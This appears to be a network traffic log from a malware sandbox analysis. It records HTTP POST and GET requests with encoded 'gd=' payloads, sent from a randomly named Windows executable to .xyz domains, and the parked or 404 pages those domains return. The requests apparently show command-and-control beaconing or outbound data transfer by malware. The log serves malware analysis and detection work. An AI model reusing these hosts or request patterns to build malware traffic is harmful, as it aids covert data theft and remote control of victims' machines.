Sep 14, 2024 11:12:34.589665890 CEST	822	OUT	POST /wwak/ HTTP/1.1 Host: www.personal-loans-jp8.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.personal-loans-jp8.xyz Referer: http://www.personal-loans-jp8.xyz/wwak/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 4a 31 37 6d 71 31 56 73 79 41 52 4f 4e 2f 71 44 44 34 54 4e 70 43 4b 30 6b 50 4a 48 43 64 46 55 69 62 54 6d 50 68 53 54 33 78 35 4f 6f 6b 70 4d 65 52 49 4e 67 63 77 38 65 75 30 34 34 38 42 43 36 72 58 6d 68 42 30 4f 30 4f 70 75 38 62 44 65 46 33 78 32 51 33 39 55 48 48 41 47 57 33 31 49 71 51 4f 57 4f 64 70 72 38 6c 53 30 73 4e 4c 43 55 35 62 58 4a 68 33 49 6c 75 72 7a 2b 43 47 45 72 65 6f 38 58 41 30 39 38 69 51 2f 41 67 38 4d 30 59 65 63 59 55 46 67 61 64 4c 56 76 6b 56 42 68 53 65 35 70 65 32 66 39 6c 31 46 4b 46 72 50 50 56 4b 67 58 6c 41 4f 4c 49 73 52 77 59 64 2b 42 73 79 46 78 77 4a 68 33 57 6b 30 61 78 42 59 38 48 4c 41 52 52 45 3d Data Ascii: gd=J17mq1VsyARON/qDD4TNpCK0kPJHCdFUibTmPhST3x5OokpMeRINgcw8eu0448BC6rXmhB0O0Opu8bDeF3x2Q39UHHAGW31IqQOWOdpr8lS0sNLCU5bXJh3Ilurz+CGEreo8XA098iQ/Ag8M0YecYUFgadLVvkVBhSe5pe2f9l1FKFrPPVKgXlAOLIsRwYd+BsyFxwJh3Wk0axBY8HLARRE=
Sep 14, 2024 11:12:35.042042017 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 14 Sep 2024 09:12:34 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: 7b2e3516-2ff4-48b7-98a0-0e14c0bdab98 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Y9CIEGl8IQC3sZZtJfUxnTEEj80M9/E/jZudzVpmwKU4r70oseltsDt2jU2oJPvlwT9g0qV2Is8J8BgfpbvynQ== set-cookie: parking_session=7b2e3516-2ff4-48b7-98a0-0e14c0bdab98; expires=Sat, 14 Sep 2024 09:27:34 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 59 39 43 49 45 47 6c 38 49 51 43 33 73 5a 5a 74 4a 66 55 78 6e 54 45 45 6a 38 30 4d 39 2f 45 2f 6a 5a 75 64 7a 56 70 6d 77 4b 55 34 72 37 30 6f 73 65 6c 74 73 44 74 32 6a 55 32 6f 4a 50 76 6c 77 54 39 67 30 71 56 32 49 73 38 4a 38 42 67 66 70 62 76 79 6e 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Y9CIEGl8IQC3sZZtJfUxnTEEj80M9/E/jZudzVpmwKU4r70oseltsDt2jU2oJPvlwT9g0qV2Is8J8BgfpbvynQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 14, 2024 11:12:35.042124987 CEST	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiN2IyZTM1MTYtMmZmNC00OGI3LTk4YTAtMGUxNGMwYmRhYjk4IiwicGFnZV90aW1lIjoxNzI2MzA1MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49756	199.59.243.226	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:37.130942106 CEST	10904	OUT	POST /wwak/ HTTP/1.1 Host: www.personal-loans-jp8.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.personal-loans-jp8.xyz Referer: http://www.personal-loans-jp8.xyz/wwak/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 4a 31 37 6d 71 31 56 73 79 41 52 4f 4e 2f 71 44 44 34 54 4e 70 43 4b 30 6b 50 4a 48 43 64 46 55 69 62 54 6d 50 68 53 54 33 78 68 4f 6f 53 64 4d 4d 41 49 4e 68 63 77 38 58 4f 30 37 34 38 42 6c 36 76 37 71 68 42 6f 30 30 4b 5a 75 38 39 2f 65 44 43 64 32 61 33 39 55 59 58 41 57 53 33 30 63 71 51 2b 6f 4f 64 5a 72 38 6c 53 30 73 4f 54 43 54 6f 62 58 5a 52 33 4c 69 75 72 6e 36 43 48 70 72 65 77 4b 58 42 31 49 38 53 77 2f 41 42 4d 4d 6b 2b 4b 63 58 55 46 69 58 39 4c 7a 76 6c 70 61 68 53 53 50 70 65 71 35 39 6e 70 46 4c 43 75 45 4b 6d 79 69 43 6b 67 43 4a 50 41 73 77 4c 70 64 48 62 69 47 39 56 4e 34 6f 46 34 6f 56 44 59 69 68 6b 71 41 4b 42 74 4f 56 58 65 64 71 4b 4f 51 43 2f 43 7a 2b 6d 67 43 71 52 6f 70 31 33 48 55 31 62 45 75 62 43 67 38 73 7a 43 6e 48 31 6a 54 53 68 6b 58 36 58 42 58 45 4e 42 31 69 63 6e 75 71 64 6d 6a 42 73 51 4d 76 42 50 65 53 59 6d 4a 34 76 42 47 58 68 57 77 33 77 57 7a 59 63 56 78 4e 4a 36 4e 41 6e 76 76 70 72 6e 4a 47 43 32 42 2f 2b 36 7a 48 66 52 68 50 72 4e 4b 6b 67 50 [TRUNCATED] Data Ascii: gd=J17mq1VsyARON/qDD4TNpCK0kPJHCdFUibTmPhST3xhOoSdMMAINhcw8XO0748Bl6v7qhBo00KZu89/eDCd2a39UYXAWS30cqQ+oOdZr8lS0sOTCTobXZR3Liurn6CHprewKXB1I8Sw/ABMMk+KcXUFiX9LzvlpahSSPpeq59npFLCuEKmyiCkgCJPAswLpdHbiG9VN4oF4oVDYihkqAKBtOVXedqKOQC/Cz+mgCqRop13HU1bEubCg8szCnH1jTShkX6XBXENB1icnuqdmjBsQMvBPeSYmJ4vBGXhWw3wWzYcVxNJ6NAnvvprnJGC2B/+6zHfRhPrNKkgPnxyiDoxfRHCEgh4YaGNN3saLBCntIFFKRu6FEFgQqdp04w7AIx8SOjYFTOokPb+YIVcRIBCXrn1JnsF4l3hlVEUTUL7TEVOhApUD7CLQOz8WF1ae3OBVYgFpU3L69eciLJzJh3jTGRTezSb34RutOktsr2BTrMgo+6UJ2ILZccMa2EVZ7xx5GyA8PyUS0fmx49jsP7npN0kD3l+nzQbr7c/xqFVgHhyA5+iMj3tWAIaCTPvzkO9ftm7BiiWqGt+34Jcpm6VJxAySricaWMAFi8GDZ/TegRmK0Ro4R5pA/Gf2vSiDh/sODx+nvsnlNxn2YZFVTjcJoTIxzTqVQaLddZOnB4UmHDzug8WnRXmCLRmR9yQV25qIanTPFZRU265NocdEHIhn9HNz7FcdKyu/JYizDCg9Ht1Wy6flVVK7Yddy5MFSVuXkp6IRvSSc1NGsdsK7zVVtii6wouGrJhuqWrTwGd7OWjegc0gZf15Vw40eBpBZaO++a6X0YWiMXWwSiHoc8yM6/Z1rdCLBE1I79ogoZrqUAHcU/K5Bq/UBkTfBvelZWcIE5ep15F8JpjHXm7OiGk7IbsCaFb0Si/kKJ6pmErTJlRDslBwn9MBIJZ2sdUm1HRDOsbsCguByWGDyCwy512f6zHXlyiLUiJPMbC8FsvLzKZ4CHR [TRUNCATED]
Sep 14, 2024 11:12:37.821768999 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 14 Sep 2024 09:12:37 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: 81a2126a-1501-4e07-b5d7-19b0cb44ef59 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Y9CIEGl8IQC3sZZtJfUxnTEEj80M9/E/jZudzVpmwKU4r70oseltsDt2jU2oJPvlwT9g0qV2Is8J8BgfpbvynQ== set-cookie: parking_session=81a2126a-1501-4e07-b5d7-19b0cb44ef59; expires=Sat, 14 Sep 2024 09:27:37 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 59 39 43 49 45 47 6c 38 49 51 43 33 73 5a 5a 74 4a 66 55 78 6e 54 45 45 6a 38 30 4d 39 2f 45 2f 6a 5a 75 64 7a 56 70 6d 77 4b 55 34 72 37 30 6f 73 65 6c 74 73 44 74 32 6a 55 32 6f 4a 50 76 6c 77 54 39 67 30 71 56 32 49 73 38 4a 38 42 67 66 70 62 76 79 6e 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Y9CIEGl8IQC3sZZtJfUxnTEEj80M9/E/jZudzVpmwKU4r70oseltsDt2jU2oJPvlwT9g0qV2Is8J8BgfpbvynQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 14, 2024 11:12:37.821868896 CEST	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODFhMjEyNmEtMTUwMS00ZTA3LWI1ZDctMTliMGNiNDRlZjU5IiwicGFnZV90aW1lIjoxNzI2MzA1MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49757	199.59.243.226	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:39.676362038 CEST	520	OUT	GET /wwak/?gd=E3TGpDthwwVtcd68e7GptjCB6e8kOO0p076mRxbq1wlJhRxdRCVM2u01G8le2+tM+4jqrTcu85UNoN7iByxUcyNJNhtpQgsemRCiUIU53imXlsG7IfaIBm8=&a0=_6Edzvj0xtFLdH HTTP/1.1 Host: www.personal-loans-jp8.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Sep 14, 2024 11:12:40.145515919 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 14 Sep 2024 09:12:39 GMT content-type: text/html; charset=utf-8 content-length: 1478 x-request-id: 9be63c29-bc53-40fa-a0e4-115a84173c2d cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xzwwRlcqtnIywmh0RsYDEtl3hTxXxXs54SBAJojpYZ7TRSYT+g8jCrus5OE5434WVHauz09li8JU+BOYnwPmjg== set-cookie: parking_session=9be63c29-bc53-40fa-a0e4-115a84173c2d; expires=Sat, 14 Sep 2024 09:27:40 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 78 7a 77 77 52 6c 63 71 74 6e 49 79 77 6d 68 30 52 73 59 44 45 74 6c 33 68 54 78 58 78 58 73 35 34 53 42 41 4a 6f 6a 70 59 5a 37 54 52 53 59 54 2b 67 38 6a 43 72 75 73 35 4f 45 35 34 33 34 57 56 48 61 75 7a 30 39 6c 69 38 4a 55 2b 42 4f 59 6e 77 50 6d 6a 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xzwwRlcqtnIywmh0RsYDEtl3hTxXxXs54SBAJojpYZ7TRSYT+g8jCrus5OE5434WVHauz09li8JU+BOYnwPmjg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 14, 2024 11:12:40.145533085 CEST	931	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOWJlNjNjMjktYmM1My00MGZhLWEwZTQtMTE1YTg0MTczYzJkIiwicGFnZV90aW1lIjoxNzI2MzA1MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	162.0.239.141	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:45.226059914 CEST	784	OUT	POST /vnd3/ HTTP/1.1 Host: www.quantumnests.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.quantumnests.xyz Referer: http://www.quantumnests.xyz/vnd3/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 38 61 70 48 36 47 76 48 6c 49 67 68 38 68 6f 55 47 31 65 7a 31 38 39 6a 36 4a 6c 6c 72 76 6e 4d 79 48 54 4e 71 35 58 44 69 67 5a 43 56 44 4b 67 6e 66 63 78 46 78 43 7a 33 48 33 57 37 32 79 4b 45 51 6b 59 39 62 58 6b 35 30 57 69 2f 79 4a 43 56 71 31 66 51 31 68 54 6f 34 52 72 43 30 70 58 44 74 66 64 64 68 4a 45 4f 50 4d 42 69 6f 42 52 6d 53 2b 32 51 4f 64 38 2b 38 6d 37 53 32 73 42 31 47 7a 61 59 30 78 75 59 6c 6b 44 4e 59 6e 41 7a 73 72 44 2f 55 6d 52 54 53 75 55 58 6b 6f 44 63 2b 57 4d 72 33 46 35 41 70 64 51 32 61 6d 77 67 4c 59 39 4e 70 32 57 31 58 41 6a 2b 2f 6b 6d 38 77 3d 3d Data Ascii: gd=8apH6GvHlIgh8hoUG1ez189j6JllrvnMyHTNq5XDigZCVDKgnfcxFxCz3H3W72yKEQkY9bXk50Wi/yJCVq1fQ1hTo4RrC0pXDtfddhJEOPMBioBRmS+2QOd8+8m7S2sB1GzaY0xuYlkDNYnAzsrD/UmRTSuUXkoDc+WMr3F5ApdQ2amwgLY9Np2W1XAj+/km8w==
Sep 14, 2024 11:12:45.819773912 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sat, 14 Sep 2024 09:12:45 GMT Server: Apache Content-Length: 18121 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="/404style.css"></head><body>... partial:index.partial.html --><div class="main"> <div> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 355"> <g id="ocean"> <path id="sky" class="st0" d="M0 0h1000v203.1H0z"/> <linearGradient id="water_1_" gradientUnits="userSpaceOnUse" x1="500" y1="354" x2="500" y2="200.667"> <stop offset="0" stop-color="#fff"/> <stop offset="1" stop-color="#b3dcdf"/> </linearGradient> <path id="water" fill="url(#water_1_)" d="M0 200.7h1000V354H0z"/> <path id="land" class="st0" d="M0 273.4h1000V354H0z"/> <g id="bumps"> <path class="st0" d="M0 275.2s83.8-28 180-28 197 28 197 28H0z"/> <path class="st0" d="M377 275.2s54.7-28 117.5-28 128.6 28 128.6 28H377z"/> <path class="st0" d="M623.2 275.2s83.7-28 179.9-28 196.9 28 196.9 28H623.2z"/> <path class="st0" d="M-998 275.2s83.8-28 180 [TRUNCATED]
Sep 14, 2024 11:12:45.819793940 CEST	1236	IN	Data Raw: 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 2d 36 32 31 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 2d 33 37 34 2e 38 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 Data Ascii: 5-28 128.6 28 128.6 28H-621z"/> <path class="st0" d="M-374.8 275.2s83.7-28 179.9-28S2 275.2 2 275.2h-376.8z"/> </g> </g> <g id="tracks"> <path class="st2" d="M9.8 282.4h-3L0 307.6h3z"/> <path class="st2" d="M19.8 282.4h-3
Sep 14, 2024 11:12:45.819804907 CEST	1236	IN	Data Raw: 22 4d 31 39 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 30 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e Data Ascii: "M199.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M209.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M219.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M229.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M239.8 282.4h-
Sep 14, 2024 11:12:45.819860935 CEST	1236	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 31 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 32 39 2e 38 Data Ascii: ath class="st2" d="M419.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M429.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M439.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M449.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2"
Sep 14, 2024 11:12:45.819874048 CEST	896	IN	Data Raw: 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 37 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 36 30 20 32 38 32 2e 34 68 2d 33 6c 2d Data Ascii: ss="st2" d="M870 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M860 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M850 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M840 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M830 282.4h
Sep 14, 2024 11:12:45.819885015 CEST	1236	IN	Data Raw: 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 30 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 Data Ascii: 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M700 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M690 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M680 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M670 282.4h-3l-6.8 25.2h3z"
Sep 14, 2024 11:12:45.819896936 CEST	1236	IN	Data Raw: 3d 22 73 74 32 22 20 64 3d 22 4d 2d 34 33 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 34 32 30 2e 32 20 32 38 32 2e Data Ascii: ="st2" d="M-430.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-420.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-410.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-400.2 282.4h-3l-6.8 25.2h3z"/> <path class="s
